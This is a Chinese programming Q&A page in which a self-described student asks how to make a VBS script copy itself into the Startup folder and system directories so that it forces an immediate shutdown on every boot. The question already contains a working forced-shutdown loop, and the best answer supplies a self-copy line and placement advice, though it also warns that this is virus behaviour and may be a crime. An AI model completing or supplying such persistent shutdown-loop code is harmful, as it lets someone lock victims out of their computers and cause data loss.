如何用vbs语言实现程序开机自启动自复制

原问题:如何用vbs语言实现程序开机自启动自复制
分类:编程开发 > 最后更新时间:【2017-07-29 00:43:41】
问题补充:

我们知道放在 开始>所有程序>启动 这个目录下的程序开机会被自动启动。

那么我们现在创建这样一个vbs程序:

do

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

loop

我们想在这个程序中加入一些代码,达到以下效果:

在用户第一次运行这个程序时,程序自动复制自身到以下位置:

1.开始>所有程序>启动

2.C:\Windows

3.C:\Users\Administrator

然后,电脑立刻关机。

接着用户打开电脑,vbs程序启动,电脑立刻关机,周而复始。

哪位老司机带带我啊

最佳答案

你在程序中加一个,如

Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile "xxx.vbs", "C:\Windows\" true

但此方法只能用在win7以下系统(我用了二年多win10了,都不知启动目录在哪里了)

另外,你的这个是可以认为是病毒模式,所有安全软件会阻止的

且,若因为这个而造成了数据损失,会构成犯罪的

所以不建议你研究这个,有功夫及能力,学习做商业软件开发不更好?


追问:
请问:1."xxx.vbs"就是我创建的文件名吗?2.这个语句放在什么位置?3.do...loop可不可以去掉? 追答:
1.xxx.vbs当然就是你的文件名2.肯定要放在程序开始3.do while可以去掉看出你没有基础的估计只是好奇才用这个还是上面的建议,好好学习基础,找份好的工作

  • 追问:
    嗯,我只是一个中学生,电脑编程只是我的爱好,我不想把这个作为饭碗
    最佳答案由网友  whoami1978  提供
  • 公告: 为响应国家净网行动,部分内容已经删除,感谢网友理解。
    6

    分享到:

    其他回答

    暂无其它回答!

      推荐